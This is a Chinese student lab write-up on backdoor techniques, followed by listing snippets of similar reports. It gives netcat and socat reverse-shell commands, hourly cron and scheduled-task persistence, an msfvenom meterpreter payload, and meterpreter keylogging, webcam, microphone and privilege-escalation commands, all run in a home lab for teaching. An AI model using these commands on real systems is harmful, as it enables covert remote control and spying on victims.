关键词：
一、实践目标与内容
1.学习内容
- 使用nc实现win，mac,Linux间的后门连接
- meterpreter的应用
- MSF POST 模块的应用
2.学习目标
- 学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高自己的安全意识 。
3.概念
- 后门就是不经过正常认证流程而访问系统的通道。
- netcat是一个底层工具，进行基本的TCP UDP数据收发。常被与其他工具结合使用，起到后门的作用。
- socat是ncat的增强版，它使用的格式是socat [options]
- 其中两个address是必选项，而options 是可选项。socat的基本功能就是建立两个双向的字节流，数据就在其间传输，参数address就是代表了其中的一个方向。所谓流，代表了数据的流向，而数据则可以有许多不同的类型，命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
二、实践步骤:常用的后门工具的应用
2.1 Windows与linux间获取Shell
2.1.1 Windows主机获取 Linux Shell
Windows：
- win主机查本机IP地址：
ipconfig
由上图可见IPv4 地址为：192.168.72.1
2.利用netcat.exe程序监听端口：4303
kali：
3.使用nc 192.168.72.1 4303 -e /bin/sh指令反向连接Windows主机的4303端口：
注意：192.168.72.1为win主机地址，即第一步的操作，端口号为自己学号.
4.Windows执行linux shell指令
此时可以在win_cmd.exe下运行linux 指令
2.1.2 Linux主机获取 Windows shell
Linux ：
- 查看kali主机IP地址：
ifconfig
上图可见kali主机IP地址为192.168.72.128
2.输入nc -l -p 4303
Windows：
3.在cmd窗口使用 ncat.exe -e cmd.exe 192.168.72.128 4303命令去连接Linux的4303端口。
4.Linux运行Windows shell
ps：连接成功后便可以在linux主机输入windows指令，正常情况下为乱码.
2.2 ncat进行数据传输
1.Windows输入指令ncat.exe -l 4303 监听
2.Linux输入指令nc 192.168.72.1 4303 连接win主机
3.双向传输字符串
2.3 ncat 定时启动
1.Windows输入指令ncat.exe -l -p 4303 监听
2.Linux输入指令crontab -e ,选择一个文本编辑器打开，在最后一行添加代码：30 * * * * /bin/netcat Win的IP 端口 -e /bin/sh 在每小时的30分运行ncat回连win主机
3.时间一到，可以运行Linux shell指令了
注：我当时时间设置代码的时间是20：27，所以3分后就可以看到结果。
2.4
1.找到控制面板，依次打开 控制面板->系统和安全->管理工具->任务计划，新建一个任务
设置如上
2.新建一个触发器
设置如上
3.新建一个操作
设置如上，其中参数为tcp-listen:4303 exec:cmd.exe,pty,stderr ，4303为端口号.
4.检查程序是否在运行
5.Linux输入指令 socat - tcp:192.168.72.1:4303, windows主机IP、端口号，此时可以获取win的shell命令
三、体验 MSF Meterpreter 功能
3.1 利用msfvenom指令生成后门程序
1.在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=Linux的IP LPORT=端口 -f exe > 20154303_backdoor.exe ，此条指令意为生成一个.exe程序，名称为 20154303_backdoor,将来在windows上运行时会回连到Linux主机相应端口
2.成功之后该文件在当前目录，找到之后拷贝到Windows主机，地址任意。
3.2 linux进入控制台进行设置
1.Linux输入指令msfconsole
2.在msf>下输入命令use exploit/multi/handler
3.继续输入set payload windows/meterpreter/reverse_tcp 设置payload
4.输入指令set LHOST Linux IP
5.输入指令 set LPORT 4303
6.输入指令show options
3.3 linux开启监听，windows运行后门
1.Linux输入指令exploit 开始监听
2.windows主机双击后门木马程序执行
3.4 Linux主机操控Windows主机
3.4.1 输入指令record_mic 录制一段音频
3.4.2 输入指令webcam_snap 拍摄照片
不太好意思出镜......
3.4.3 输入指令keyscan_start记录击键内容，输入指令keyscan_dump 获取击键记录
下图是我在win主机上输入的内容
3.4.4 输入指令getuid 查看当前用户，输入指令getsystem 提权
四、回答问题
1.例举你能想到的一个后门进入到你系统中的可能方式？
下载盗版的软件。
2.例举你知道的后门如何启动起来(win及linux)的方式？
win中的后门伴随软件启动
linux可以用corn启动
3.Meterpreter有哪些给你映像深刻的功能？
录音拍照截屏以及记录键击，可能泄露大量隐私。
4.如何发现自己有系统有无后门
安装可靠的杀毒软件
五、实验感想
这次实验的结果使我感到十分震撼，我才发现通过后门，我们的隐私以及个人信息会如此轻易的泄露出去，这提高了我的警觉。实验过程并不难，我的问题是kali和本机地址开始不在同一网段上导致无法进行，后来设置虚拟器子网改变了ip地址，使实验顺利进行下去。
exp2后门原理与实践(代码片段)
...标与内容 1.学习内容 使用nc实现win，mac,Linux间的后门连接meterpreter的应用MSFPOST模块的应用 2.学习目标 学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高... 查看详情
20155216exp2后门原理与实践(代码片段)
后门原理与实践常用后门工具NC或netcatnetcat是一个底层工具，进行基本的TCPUDP数据收发。常被与其他工具结合使用，起到后门的作用。Linux:一般自带netcat,"mannetcat"或"mannc"可查看其使用说明。Win获得LinuxShell1、windows打开监听先解压... 查看详情
20155312张竞予exp2后门原理与实践(代码片段)
Exp2后门原理与实践目录基础问题回答(1)例举你能想到的一个后门进入到你系统中的可能方式？(2)例举你知道的后门如何启动起来(win及linux)的方式？(3)Meterpreter有哪些给你映像深刻的功能？(4)如何发现自己有系统有没有被安装后... 查看详情
20155218《网络对抗》exp2后门原理与实践(代码片段)
20155218《网络对抗》Exp2后门原理与实践常用后门工具实践1.Windows获得LinuxShell:在Windows下，先使用ipconfig指令查看本机IP,使用ncat.exe程序监听本机的5218端口,在Kali环境下，使用nc指令的-e选项反向连接Windows主机的5218端口,Windows下成功... 查看详情
exp2后门原理与实践20154301仉鑫烨(代码片段)
20154301《网络对抗》Exp2后门原理与实践20154301仉鑫烨一、实验内容常用后门工具实践：Windows获得LinuxShell：在Windows下，先使用ipconfig指令查看win7虚拟机IP：使用ncat.exe程序监听本机的4301端口：Kali：使用nc指令的-e选项反向连接Window... 查看详情
20155302exp2后门原理与实践(代码片段)
20155302《网络对抗》后门原理与实践实验要求1.使用netcat获取主机操作Shell，cron启动(0.5分)2.使用socat获取主机操作Shell,任务计划启动(0.5分)3.使用MSFmeterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主... 查看详情
20155209林虹宇exp2后门原理与实践(代码片段)
Exp2后门原理与实践实验内容一、使用netcat获取主机操作Shell，cron启动使用netcat获取主机操作ShellWin获得LinuxShell查看win的ip地址windows打开监听Linux反弹连接winwindows下获得一个linuxshell，可运行任何指令，如lsLinux获得WinShell查看kali的... 查看详情
20192204exp2-后门原理与实践(代码片段)
实验基础本次实验需要我们掌握后门的基础知识，学习使用nc实现Windows，Linux之间的后门连接，学习使用Metaspolit的msfvenom指令生成简单的后门程序，学会MSFPOST模块的应用。基础知识后门的概念后门就是不经过正常认证流程而访问... 查看详情
20155227《网络对抗》exp2后门原理与实践(代码片段)
20155227《网络对抗》Exp2后门原理与实践基础问题回答(1)例举你能想到的一个后门进入到你系统中的可能方式？在非官方网站下载软件时，后门很可能被捆绑在软件中。攻击者利用欺骗的手段，通过发送电子邮件或者文件，并诱使... 查看详情
20155334曹翔exp2后门原理与实践(代码片段)
20155334曹翔Exp2后门原理与实践不多废话直接上实验过程，本实验的所有端口都是5334。一、实验过程查询主机Windows和虚拟机kali的ip地址：Windows获得LinuxShell使用ncat.exe程序监听本机的5334端口：在Kali环境下，使用nc指令的-e选项反向... 查看详情
20155321《网络攻防》exp2后门原理与实践(代码片段)
20155321《网络攻防》Exp2后门原理与实践实验内容例举你能想到的一个后门进入到你系统中的可能方式？我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站，这些网站本身可能被黑客植入了木马程序，这些程序可... 查看详情
20155202张旭《网络对抗》exp2后门原理与实践(代码片段)
20155202张旭《网络对抗》Exp2后门原理与实践基础问题回答例举你能想到的一个后门进入到你系统中的可能方式？捆绑在软件中注入在可执行文件里注入在office文件的宏里面例举你知道的后门如何启动起来(win及linux)的方式？更改... 查看详情
exp2后门原理与实践20164315李华阳(代码片段)
1.后门概念 后门就是不经过正常认证流程而访问系统的通道。 常见的留后门位置有编译器留后门、操作系统留后门、最常见的当然还是应用程序中留后门、还有就是潜伏于操作系统中或伪装为特定应用的专用后门程... 查看详情
2017-2018-2《网络对抗技术》20155322第五周exp2后门原理与实践(代码片段)
#2017-2018-2《网络对抗技术》20155322第五周Exp2后门原理与实践[博客目录]1-实践目标1.1-实践介绍1.2-实践内容1.3-实践要求2-实践过程2.1-使用nc实现win，mac,Linux间的后门连接2.2-meterpreter的应用2.3-MSFPOST模块的应用2.4-注入Shellcode并执行3-... 查看详情
exp2mal_后门原理与实践20155214(代码片段)
Exp2MAL_后门原理与实践本次实验操使用nc实现win，mac,Linux间的后门连接学习meterpreter的应用学习MSFPOST模块的应用亲手实践建立一个后门连接，而提高自己的安全意识。[TOC]实验内容实验环境Kalilinux64bit（虚拟机）实验工具meterpreter... 查看详情
20155236范晨歌exp2后门原理与实践(代码片段)
##实验二后门原理与实践1.Windows获得LinuxShell在windows下，打开CMD，使用ipconfig指令查看本机IPncat.exe-l-p5236监听本机的5236端口在kali端，使用nc指令的-e选项，ncXXX.XXX.XXX.XXX(主机ip)5236(所设置的端口)-e/bin/sh反向连接Windows主机的5236端口... 查看详情
20154306刘宇轩网络对抗exp2后门原理与实践(代码片段)
...、实践目标与内容1.学习内容使用nc实现win，mac,Linux间的后门连接meterpreter的应用MSFPOST模块的应用2.学习目标学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高自己的安... 查看详情
20154324刘康权《网络对抗》exp2后门原理与实践(代码片段)
...、实践目标与内容1.学习内容使用nc实现win，mac,Linux间的后门连接meterpreter的应用MSFPOST模块的应用2.学习目标学习建立一个后门连接，并了解其中的知识点，同时熟悉后门连接的功能。通过亲手实践并了解这一事实，提高自己的安... 查看详情